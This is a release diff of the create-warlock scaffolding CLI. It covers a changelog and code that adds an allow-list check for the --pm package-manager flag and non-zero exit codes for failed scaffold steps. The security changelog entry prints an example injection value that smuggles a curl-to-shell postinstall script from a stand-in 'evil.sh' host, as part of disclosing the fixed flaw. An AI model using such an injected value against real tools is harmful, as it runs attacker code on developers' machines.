create-warlock 4.15.0 → 5.0.0

package/CHANGELOG.md

@@ -4,6 +4,29 @@ All notable changes to `create-warlock` are documented in this file.
 
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). `@warlock.js/*` packages are released in lockstep — every package shares the same version number, so a version below may list only the changes that affected this package.
 
+## 5.0.0 - 2026-08-25
+
+### Added
+
+- The project creator now offers the `web` feature for Warlock SSR pages.
+
+### Changed
+
+- Scaffold command failures are captured and reported instead of allowing later success output to hide a failed dependency install, Git initialization, feature addition, or cache warm-up.
+- Generated route handlers use the new request-context argument shape, and generated cache configuration honors `CACHE_DRIVER`.
+
+## 4.16.0 - 2026-08-18
+
+### Security
+
+- **`--pm` is now validated against an allow-list (`npm`/`yarn`/`pnpm`/`bun`) before it reaches anything.** Previously an arbitrary `--pm` string flowed straight into `spawn()` as the executable to run *and* was spliced verbatim into the generated `package.json`'s script text before that text is parsed as JSON — a crafted value (e.g. `--pm='pnpm","postinstall":"curl${IFS}evil.sh|sh#'`) could inject a `postinstall` script that the scaffolder's own automatic `install()` step would then execute, or invoke an arbitrary binary on `PATH` outright. `--yes`/non-interactive scaffolds now reject any `--pm` outside the allow-list and exit before the package manager is set, closing both sinks at the source; the interactive prompt was already safe (its options are drawn from the allow-list, never free text).
+
+### Dependencies
+
+- Bumped `@mongez/reinforcements` to `^4.0.1` (package dependency + project template). This is a **major** bump: `Random.string/nanoid/id/token/uuid` are now CSPRNG-backed (WebCrypto) and no longer honor `Random.seed()`, and throw without WebCrypto available. Audited `create-warlock`'s own source and the `templates/warlock` scaffold for `Random.seed`/`Random.*` usage — none found, no code changes required.
+- Project template (`templates/warlock/package.json`) `@mongez/*` deps bumped: `@mongez/localization` to `^3.4.7`, `@mongez/supportive-is` to `^2.1.4`, `@mongez/agent-kit` to `^1.2.1`.
+- Project template `@warlock.js/*` deps were pinned at the stale `4.0.119` — rewritten to the current lockstep version `4.15.0` to match the published `@warlock.js/*` packages.
+
 ## 4.12.0
 
 ### Changed

package/esm/commands/create-new-app/index.mjs

@@ -1,6 +1,6 @@
 import { getDatabaseDriver, getDatabaseDriverOptions, isNoDatabase } from "../../features/database-drivers.mjs";
 import { getAiPackageOptions, getAiProviderOptions, getAllFeatureKeys, getDefaultFeatureKeys, getFeatureOptions } from "../../features/features-map.mjs";
-import { detectPackageManagers, getPackageManager, getPreferredPackageManager, getSystemPackageManagers, setPackageManager } from "../../helpers/package-manager.mjs";
+import { ALLOWED_PACKAGE_MANAGERS, detectPackageManagers, getPackageManager, getPreferredPackageManager, getSystemPackageManagers, isValidPackageManager, setPackageManager } from "../../helpers/package-manager.mjs";
 import { packageRoot } from "../../helpers/paths.mjs";
 import { App } from "../../helpers/app.mjs";
 import { showIntroBanner } from "../../ui/banner.mjs";
@@ -87,7 +87,7 @@ async function createNewApp(cli = {}) {
 		cancel("Setup cancelled");
 		process.exit(0);
 	}
-	await createWarlockApp(new App({
+	await scaffold({
 		appName,
 		appType: "warlock",
 		appPath,
@@ -100,7 +100,17 @@ async function createNewApp(cli = {}) {
 			useGit,
 			useJWT
 		}
-	}));
+	});
+}
+/**
+* Run the scaffold and make the process's exit code tell the truth: anything
+* the user asked for that did not happen leaves the shell with a non-zero
+* status, so scripts and CI cannot mistake a half-built project for a finished
+* one. The problems themselves are printed by the scaffolder.
+*/
+async function scaffold(appDetails) {
+	const outcome = await createWarlockApp(new App(appDetails));
+	if (outcome && !outcome.ok) process.exitCode = 1;
 }
 /**
 * Resolve the full set of `AppOptions` from parsed CLI flags — applying the
@@ -145,7 +155,12 @@ async function createNonInteractive(cli) {
 	const appPath = getAppPath(appName);
 	if (!appPath) return;
 	await detectPackageManagers();
-	setPackageManager(cli.pm ?? getPreferredPackageManager());
+	const packageManager = cli.pm ?? getPreferredPackageManager();
+	if (!isValidPackageManager(packageManager)) {
+		cancel(`Unknown package manager "${packageManager}" — expected one of: ${ALLOWED_PACKAGE_MANAGERS.join(", ")}`);
+		process.exit(1);
+	}
+	setPackageManager(packageManager);
 	let options;
 	try {
 		options = resolveNonInteractiveOptions(cli);
@@ -153,13 +168,13 @@ async function createNonInteractive(cli) {
 		cancel(error.message);
 		process.exit(1);
 	}
-	await createWarlockApp(new App({
+	await scaffold({
 		appName,
 		appType: "warlock",
 		appPath,
 		pkgManager: getPackageManager(),
 		options
-	}));
+	});
 }
 
 //#endregion

package/esm/commands/create-new-app/index.mjs.map

@@ -1 +1 @@
-{"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-new-app/index.ts"],"sourcesContent":["import {\r\n  cancel,\r\n  confirm,\r\n  isCancel,\r\n  multiselect,\r\n  select,\r\n  text,\r\n} from \"@clack/prompts\";\r\nimport { colors } from \"@mongez/copper\";\r\nimport { getJsonFile } from \"@warlock.js/fs\";\r\nimport {\r\n  getDatabaseDriver,\r\n  getDatabaseDriverOptions,\r\n  isNoDatabase,\r\n} from \"../../features/database-drivers\";\r\nimport {\r\n  getAiPackageOptions,\r\n  getAiProviderOptions,\r\n  getAllFeatureKeys,\r\n  getDefaultFeatureKeys,\r\n  getFeatureOptions,\r\n} from \"../../features/features-map\";\r\nimport { App } from \"../../helpers/app\";\r\nimport {\r\n  detectPackageManagers,\r\n  getPackageManager,\r\n  getPreferredPackageManager,\r\n  getSystemPackageManagers,\r\n  setPackageManager,\r\n} from \"../../helpers/package-manager\";\r\nimport { packageRoot } from \"../../helpers/paths\";\r\nimport { showIntroBanner } from \"../../ui/banner\";\r\nimport { createWarlockApp } from \"../create-warlock-app\";\r\nimport getAppPath from \"./get-app-path\";\r\nimport { AppOptions, App as AppType, CliFlags } from \"./types\";\r\n\r\nexport default async function createNewApp(cli: CliFlags = {}) {\r\n  // Start detecting package managers in the background to avoid delay later\r\n  const pmDetectionPromise = detectPackageManagers();\r\n\r\n  // Get version from package.json\r\n  const packageJson: any = getJsonFile(packageRoot(\"package.json\"));\r\n  const createWarlockVersion = packageJson.version;\r\n\r\n  // Show the intro banner\r\n  showIntroBanner(createWarlockVersion);\r\n\r\n  console.log(colors.cyan(\"Let's create something magical! \\n\"));\r\n\r\n  // Validate Node.js version (minimum v20)\r\n  const [major] = process.versions.node.split(\".\").map(Number);\r\n  if (major < 20) {\r\n    cancel(\"Node.js version must be at least 20.0.0\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Non-interactive path: build everything from flags and skip the prompts.\r\n  if (cli.yes) {\r\n    await createNonInteractive(cli);\r\n    return;\r\n  }\r\n\r\n  // Step 1: Project name\r\n  const appName = await text({\r\n    message: \"What shall we call your project?\",\r\n    placeholder: \"my-warlock-app\",\r\n  });\r\n\r\n  if (isCancel(appName) || !appName.trim()) {\r\n    cancel(\"A project name is required to continue\");\r\n    process.exit(0);\r\n  }\r\n\r\n  const appPath = getAppPath(appName);\r\n  if (!appPath) return;\r\n\r\n  // Step 2: Package Manager selection\r\n  await pmDetectionPromise; // Ensure detection is complete\r\n\r\n  const packageManager = await select({\r\n    message: \"Which package manager do you want to use?\",\r\n    options: getSystemPackageManagers().map(pm => ({\r\n      value: pm,\r\n      label: pm,\r\n    })),\r\n    initialValue: getPreferredPackageManager(),\r\n  });\r\n\r\n  if (isCancel(packageManager)) {\r\n    cancel(\"Package manager selection cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  setPackageManager(packageManager as string);\r\n\r\n  // Step 3: Database driver selection\r\n  const databaseDriver = await select({\r\n    message: \"Choose your database driver\",\r\n    options: getDatabaseDriverOptions(),\r\n  });\r\n\r\n  if (isCancel(databaseDriver)) {\r\n    cancel(\"Database selection cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  const selectedDriver = getDatabaseDriver(databaseDriver as string);\r\n\r\n  // Step 4: Features selection\r\n  const selectedFeatures = await multiselect({\r\n    message: \"Select optional features to include\",\r\n    options: getFeatureOptions(),\r\n    initialValues: getDefaultFeatureKeys(),\r\n    required: false,\r\n  });\r\n\r\n  if (isCancel(selectedFeatures)) {\r\n    cancel(\"Feature selection cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Step 4b: AI providers + capability packages — selecting any pulls\r\n  // @warlock.js/ai automatically. The result still flows through the\r\n  // `selectedAiProviders` → `aiProviders` pipeline, which now also carries the\r\n  // capability packages (ai-tools / ai-panoptic / ai-workspace).\r\n  const selectedAiProviders = await multiselect({\r\n    message:\r\n      \"Add AI packages? Providers + capabilities — the core AI package is included automatically\",\r\n    options: [...getAiProviderOptions(), ...getAiPackageOptions()],\r\n    required: false,\r\n  });\r\n\r\n  if (isCancel(selectedAiProviders)) {\r\n    cancel(\"AI provider selection cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Step 5: Git initialization\r\n  const useGit =\r\n    (await confirm({\r\n      message: \"Initialize a Git repository?\",\r\n    })) === true;\r\n\r\n  if (isCancel(useGit)) {\r\n    cancel(\"Setup cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Step 6: JWT secret generation\r\n  const useJWT =\r\n    (await confirm({\r\n      message: \"Generate JWT secret keys?\",\r\n    })) === true;\r\n\r\n  if (isCancel(useJWT)) {\r\n    cancel(\"Setup cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Build app details\r\n  const appDetails: Required<AppType> = {\r\n    appName: appName,\r\n    appType: \"warlock\",\r\n    appPath: appPath,\r\n    pkgManager: getPackageManager(),\r\n    options: {\r\n      databaseDriver: databaseDriver as string,\r\n      databasePort: selectedDriver?.defaultPort || 27017,\r\n      features: selectedFeatures as string[],\r\n      aiProviders: selectedAiProviders as string[],\r\n      useGit,\r\n      useJWT,\r\n    },\r\n  };\r\n\r\n  // Create the app\r\n  await createWarlockApp(new App(appDetails));\r\n}\r\n\r\n/**\r\n * Resolve the full set of `AppOptions` from parsed CLI flags — applying the\r\n * non-interactive defaults, validating the database driver and feature/provider\r\n * keys, and handling the `none` (no database) selection.\r\n *\r\n * Pure and side-effect free (no prompts, no `process.exit`) so the flag → app\r\n * mapping is unit-testable. Throws on an unknown driver or feature key so the\r\n * caller can fail fast before any file is written.\r\n */\r\nexport function resolveNonInteractiveOptions(cli: CliFlags): AppOptions {\r\n  const databaseDriver = cli.db ?? \"mongodb\";\r\n  const noDatabase = isNoDatabase(databaseDriver);\r\n  const driver = noDatabase ? undefined : getDatabaseDriver(databaseDriver);\r\n\r\n  if (!noDatabase && !driver) {\r\n    throw new Error(`Unknown database driver \"${databaseDriver}\"`);\r\n  }\r\n\r\n  const features = cli.features ?? [];\r\n  const aiProviders = cli.ai ?? [];\r\n\r\n  const allowedKeys = getAllFeatureKeys();\r\n  const invalidKeys = [...features, ...aiProviders].filter(\r\n    key => !allowedKeys.includes(key),\r\n  );\r\n\r\n  if (invalidKeys.length > 0) {\r\n    throw new Error(`Unknown feature(s): ${invalidKeys.join(\",\")}`);\r\n  }\r\n\r\n  return {\r\n    databaseDriver,\r\n    databasePort: driver?.defaultPort ?? 27017,\r\n    features,\r\n    aiProviders,\r\n    useGit: cli.git ?? false,\r\n    useJWT: cli.jwt ?? false,\r\n  };\r\n}\r\n\r\n/**\r\n * Non-interactive scaffold path for `--yes`. Builds the app from flags with\r\n * sensible defaults and skips every prompt — a single command scaffolds the\r\n * entire app. Validation lives in `resolveNonInteractiveOptions`; a typo fails\r\n * fast here instead of mid-install.\r\n */\r\nasync function createNonInteractive(cli: CliFlags) {\r\n  const appName = (cli.name ?? \"\").trim();\r\n\r\n  if (!appName) {\r\n    cancel(\"--yes requires a project name (first argument or --name=<name>)\");\r\n    process.exit(1);\r\n  }\r\n\r\n  const appPath = getAppPath(appName);\r\n\r\n  if (!appPath) return;\r\n\r\n  await detectPackageManagers();\r\n\r\n  const packageManager = cli.pm ?? getPreferredPackageManager();\r\n  setPackageManager(packageManager);\r\n\r\n  let options: AppOptions;\r\n\r\n  try {\r\n    options = resolveNonInteractiveOptions(cli);\r\n  } catch (error) {\r\n    cancel((error as Error).message);\r\n    process.exit(1);\r\n  }\r\n\r\n  const appDetails: Required<AppType> = {\r\n    appName,\r\n    appType: \"warlock\",\r\n    appPath,\r\n    pkgManager: getPackageManager(),\r\n    options,\r\n  };\r\n\r\n  await createWarlockApp(new App(appDetails));\r\n}\r\n"],"mappings":"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"}
+{"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-new-app/index.ts"],"sourcesContent":["import {\r\n  cancel,\r\n  confirm,\r\n  isCancel,\r\n  multiselect,\r\n  select,\r\n  text,\r\n} from \"@clack/prompts\";\r\nimport { colors } from \"@mongez/copper\";\r\nimport { getJsonFile } from \"@warlock.js/fs\";\r\nimport {\r\n  getDatabaseDriver,\r\n  getDatabaseDriverOptions,\r\n  isNoDatabase,\r\n} from \"../../features/database-drivers\";\r\nimport {\r\n  getAiPackageOptions,\r\n  getAiProviderOptions,\r\n  getAllFeatureKeys,\r\n  getDefaultFeatureKeys,\r\n  getFeatureOptions,\r\n} from \"../../features/features-map\";\r\nimport { App } from \"../../helpers/app\";\r\nimport {\r\n  ALLOWED_PACKAGE_MANAGERS,\r\n  detectPackageManagers,\r\n  getPackageManager,\r\n  getPreferredPackageManager,\r\n  getSystemPackageManagers,\r\n  isValidPackageManager,\r\n  setPackageManager,\r\n} from \"../../helpers/package-manager\";\r\nimport { packageRoot } from \"../../helpers/paths\";\r\nimport { showIntroBanner } from \"../../ui/banner\";\r\nimport { createWarlockApp } from \"../create-warlock-app\";\r\nimport getAppPath from \"./get-app-path\";\r\nimport { AppOptions, App as AppType, CliFlags } from \"./types\";\r\n\r\nexport default async function createNewApp(cli: CliFlags = {}) {\r\n  // Start detecting package managers in the background to avoid delay later\r\n  const pmDetectionPromise = detectPackageManagers();\r\n\r\n  // Get version from package.json\r\n  const packageJson: any = getJsonFile(packageRoot(\"package.json\"));\r\n  const createWarlockVersion = packageJson.version;\r\n\r\n  // Show the intro banner\r\n  showIntroBanner(createWarlockVersion);\r\n\r\n  console.log(colors.cyan(\"Let's create something magical! \\n\"));\r\n\r\n  // Validate Node.js version (minimum v20)\r\n  const [major] = process.versions.node.split(\".\").map(Number);\r\n  if (major < 20) {\r\n    cancel(\"Node.js version must be at least 20.0.0\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Non-interactive path: build everything from flags and skip the prompts.\r\n  if (cli.yes) {\r\n    await createNonInteractive(cli);\r\n    return;\r\n  }\r\n\r\n  // Step 1: Project name\r\n  const appName = await text({\r\n    message: \"What shall we call your project?\",\r\n    placeholder: \"my-warlock-app\",\r\n  });\r\n\r\n  if (isCancel(appName) || !appName.trim()) {\r\n    cancel(\"A project name is required to continue\");\r\n    process.exit(0);\r\n  }\r\n\r\n  const appPath = getAppPath(appName);\r\n  if (!appPath) return;\r\n\r\n  // Step 2: Package Manager selection\r\n  await pmDetectionPromise; // Ensure detection is complete\r\n\r\n  const packageManager = await select({\r\n    message: \"Which package manager do you want to use?\",\r\n    options: getSystemPackageManagers().map(pm => ({\r\n      value: pm,\r\n      label: pm,\r\n    })),\r\n    initialValue: getPreferredPackageManager(),\r\n  });\r\n\r\n  if (isCancel(packageManager)) {\r\n    cancel(\"Package manager selection cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  setPackageManager(packageManager as string);\r\n\r\n  // Step 3: Database driver selection\r\n  const databaseDriver = await select({\r\n    message: \"Choose your database driver\",\r\n    options: getDatabaseDriverOptions(),\r\n  });\r\n\r\n  if (isCancel(databaseDriver)) {\r\n    cancel(\"Database selection cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  const selectedDriver = getDatabaseDriver(databaseDriver as string);\r\n\r\n  // Step 4: Features selection\r\n  const selectedFeatures = await multiselect({\r\n    message: \"Select optional features to include\",\r\n    options: getFeatureOptions(),\r\n    initialValues: getDefaultFeatureKeys(),\r\n    required: false,\r\n  });\r\n\r\n  if (isCancel(selectedFeatures)) {\r\n    cancel(\"Feature selection cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Step 4b: AI providers + capability packages — selecting any pulls\r\n  // @warlock.js/ai automatically. The result still flows through the\r\n  // `selectedAiProviders` → `aiProviders` pipeline, which now also carries the\r\n  // capability packages (ai-tools / ai-panoptic / ai-workspace).\r\n  const selectedAiProviders = await multiselect({\r\n    message:\r\n      \"Add AI packages? Providers + capabilities — the core AI package is included automatically\",\r\n    options: [...getAiProviderOptions(), ...getAiPackageOptions()],\r\n    required: false,\r\n  });\r\n\r\n  if (isCancel(selectedAiProviders)) {\r\n    cancel(\"AI provider selection cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Step 5: Git initialization\r\n  const useGit =\r\n    (await confirm({\r\n      message: \"Initialize a Git repository?\",\r\n    })) === true;\r\n\r\n  if (isCancel(useGit)) {\r\n    cancel(\"Setup cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Step 6: JWT secret generation\r\n  const useJWT =\r\n    (await confirm({\r\n      message: \"Generate JWT secret keys?\",\r\n    })) === true;\r\n\r\n  if (isCancel(useJWT)) {\r\n    cancel(\"Setup cancelled\");\r\n    process.exit(0);\r\n  }\r\n\r\n  // Build app details\r\n  const appDetails: Required<AppType> = {\r\n    appName: appName,\r\n    appType: \"warlock\",\r\n    appPath: appPath,\r\n    pkgManager: getPackageManager(),\r\n    options: {\r\n      databaseDriver: databaseDriver as string,\r\n      databasePort: selectedDriver?.defaultPort || 27017,\r\n      features: selectedFeatures as string[],\r\n      aiProviders: selectedAiProviders as string[],\r\n      useGit,\r\n      useJWT,\r\n    },\r\n  };\r\n\r\n  // Create the app\r\n  await scaffold(appDetails);\r\n}\r\n\r\n/**\r\n * Run the scaffold and make the process's exit code tell the truth: anything\r\n * the user asked for that did not happen leaves the shell with a non-zero\r\n * status, so scripts and CI cannot mistake a half-built project for a finished\r\n * one. The problems themselves are printed by the scaffolder.\r\n */\r\nasync function scaffold(appDetails: Required<AppType>) {\r\n  const outcome = await createWarlockApp(new App(appDetails));\r\n\r\n  if (outcome && !outcome.ok) {\r\n    process.exitCode = 1;\r\n  }\r\n}\r\n\r\n/**\r\n * Resolve the full set of `AppOptions` from parsed CLI flags — applying the\r\n * non-interactive defaults, validating the database driver and feature/provider\r\n * keys, and handling the `none` (no database) selection.\r\n *\r\n * Pure and side-effect free (no prompts, no `process.exit`) so the flag → app\r\n * mapping is unit-testable. Throws on an unknown driver or feature key so the\r\n * caller can fail fast before any file is written.\r\n */\r\nexport function resolveNonInteractiveOptions(cli: CliFlags): AppOptions {\r\n  const databaseDriver = cli.db ?? \"mongodb\";\r\n  const noDatabase = isNoDatabase(databaseDriver);\r\n  const driver = noDatabase ? undefined : getDatabaseDriver(databaseDriver);\r\n\r\n  if (!noDatabase && !driver) {\r\n    throw new Error(`Unknown database driver \"${databaseDriver}\"`);\r\n  }\r\n\r\n  const features = cli.features ?? [];\r\n  const aiProviders = cli.ai ?? [];\r\n\r\n  const allowedKeys = getAllFeatureKeys();\r\n  const invalidKeys = [...features, ...aiProviders].filter(\r\n    key => !allowedKeys.includes(key),\r\n  );\r\n\r\n  if (invalidKeys.length > 0) {\r\n    throw new Error(`Unknown feature(s): ${invalidKeys.join(\",\")}`);\r\n  }\r\n\r\n  return {\r\n    databaseDriver,\r\n    databasePort: driver?.defaultPort ?? 27017,\r\n    features,\r\n    aiProviders,\r\n    useGit: cli.git ?? false,\r\n    useJWT: cli.jwt ?? false,\r\n  };\r\n}\r\n\r\n/**\r\n * Non-interactive scaffold path for `--yes`. Builds the app from flags with\r\n * sensible defaults and skips every prompt — a single command scaffolds the\r\n * entire app. Validation lives in `resolveNonInteractiveOptions`; a typo fails\r\n * fast here instead of mid-install.\r\n */\r\nasync function createNonInteractive(cli: CliFlags) {\r\n  const appName = (cli.name ?? \"\").trim();\r\n\r\n  if (!appName) {\r\n    cancel(\"--yes requires a project name (first argument or --name=<name>)\");\r\n    process.exit(1);\r\n  }\r\n\r\n  const appPath = getAppPath(appName);\r\n\r\n  if (!appPath) return;\r\n\r\n  await detectPackageManagers();\r\n\r\n  const packageManager = cli.pm ?? getPreferredPackageManager();\r\n\r\n  if (!isValidPackageManager(packageManager)) {\r\n    cancel(\r\n      `Unknown package manager \"${packageManager}\" — expected one of: ${ALLOWED_PACKAGE_MANAGERS.join(\", \")}`,\r\n    );\r\n    process.exit(1);\r\n  }\r\n\r\n  setPackageManager(packageManager);\r\n\r\n  let options: AppOptions;\r\n\r\n  try {\r\n    options = resolveNonInteractiveOptions(cli);\r\n  } catch (error) {\r\n    cancel((error as Error).message);\r\n    process.exit(1);\r\n  }\r\n\r\n  const appDetails: Required<AppType> = {\r\n    appName,\r\n    appType: \"warlock\",\r\n    appPath,\r\n    pkgManager: getPackageManager(),\r\n    options,\r\n  };\r\n\r\n  await scaffold(appDetails);\r\n}\r\n"],"mappings":";;;;;;;;;;;;;AAsCA,eAA8B,aAAa,MAAgB,CAAC,GAAG;CAE7D,MAAM,qBAAqB,sBAAsB;CAIjD,MAAM,uBADmB,YAAY,YAAY,cAAc,CACxB,CAAC,CAAC;CAGzC,gBAAgB,oBAAoB;CAEpC,QAAQ,IAAI,OAAO,KAAK,oCAAoC,CAAC;CAG7D,MAAM,CAAC,SAAS,QAAQ,SAAS,KAAK,MAAM,GAAG,CAAC,CAAC,IAAI,MAAM;CAC3D,IAAI,QAAQ,IAAI;EACd,OAAO,yCAAyC;EAChD,QAAQ,KAAK,CAAC;CAChB;CAGA,IAAI,IAAI,KAAK;EACX,MAAM,qBAAqB,GAAG;EAC9B;CACF;CAGA,MAAM,UAAU,MAAM,KAAK;EACzB,SAAS;EACT,aAAa;CACf,CAAC;CAED,IAAI,SAAS,OAAO,KAAK,CAAC,QAAQ,KAAK,GAAG;EACxC,OAAO,wCAAwC;EAC/C,QAAQ,KAAK,CAAC;CAChB;CAEA,MAAM,UAAU,WAAW,OAAO;CAClC,IAAI,CAAC,SAAS;CAGd,MAAM;CAEN,MAAM,iBAAiB,MAAM,OAAO;EAClC,SAAS;EACT,SAAS,yBAAyB,CAAC,CAAC,KAAI,QAAO;GAC7C,OAAO;GACP,OAAO;EACT,EAAE;EACF,cAAc,2BAA2B;CAC3C,CAAC;CAED,IAAI,SAAS,cAAc,GAAG;EAC5B,OAAO,qCAAqC;EAC5C,QAAQ,KAAK,CAAC;CAChB;CAEA,kBAAkB,cAAwB;CAG1C,MAAM,iBAAiB,MAAM,OAAO;EAClC,SAAS;EACT,SAAS,yBAAyB;CACpC,CAAC;CAED,IAAI,SAAS,cAAc,GAAG;EAC5B,OAAO,8BAA8B;EACrC,QAAQ,KAAK,CAAC;CAChB;CAEA,MAAM,iBAAiB,kBAAkB,cAAwB;CAGjE,MAAM,mBAAmB,MAAM,YAAY;EACzC,SAAS;EACT,SAAS,kBAAkB;EAC3B,eAAe,sBAAsB;EACrC,UAAU;CACZ,CAAC;CAED,IAAI,SAAS,gBAAgB,GAAG;EAC9B,OAAO,6BAA6B;EACpC,QAAQ,KAAK,CAAC;CAChB;CAMA,MAAM,sBAAsB,MAAM,YAAY;EAC5C,SACE;EACF,SAAS,CAAC,GAAG,qBAAqB,GAAG,GAAG,oBAAoB,CAAC;EAC7D,UAAU;CACZ,CAAC;CAED,IAAI,SAAS,mBAAmB,GAAG;EACjC,OAAO,iCAAiC;EACxC,QAAQ,KAAK,CAAC;CAChB;CAGA,MAAM,SACH,MAAM,QAAQ,EACb,SAAS,+BACX,CAAC,MAAO;CAEV,IAAI,SAAS,MAAM,GAAG;EACpB,OAAO,iBAAiB;EACxB,QAAQ,KAAK,CAAC;CAChB;CAGA,MAAM,SACH,MAAM,QAAQ,EACb,SAAS,4BACX,CAAC,MAAO;CAEV,IAAI,SAAS,MAAM,GAAG;EACpB,OAAO,iBAAiB;EACxB,QAAQ,KAAK,CAAC;CAChB;CAmBA,MAAM,SAAS;EAfJ;EACT,SAAS;EACA;EACT,YAAY,kBAAkB;EAC9B,SAAS;GACS;GAChB,cAAc,gBAAgB,eAAe;GAC7C,UAAU;GACV,aAAa;GACb;GACA;EACF;CAIsB,CAAC;AAC3B;;;;;;;AAQA,eAAe,SAAS,YAA+B;CACrD,MAAM,UAAU,MAAM,iBAAiB,IAAI,IAAI,UAAU,CAAC;CAE1D,IAAI,WAAW,CAAC,QAAQ,IACtB,QAAQ,WAAW;AAEvB;;;;;;;;;;AAWA,SAAgB,6BAA6B,KAA2B;CACtE,MAAM,iBAAiB,IAAI,MAAM;CACjC,MAAM,aAAa,aAAa,cAAc;CAC9C,MAAM,SAAS,aAAa,SAAY,kBAAkB,cAAc;CAExE,IAAI,CAAC,cAAc,CA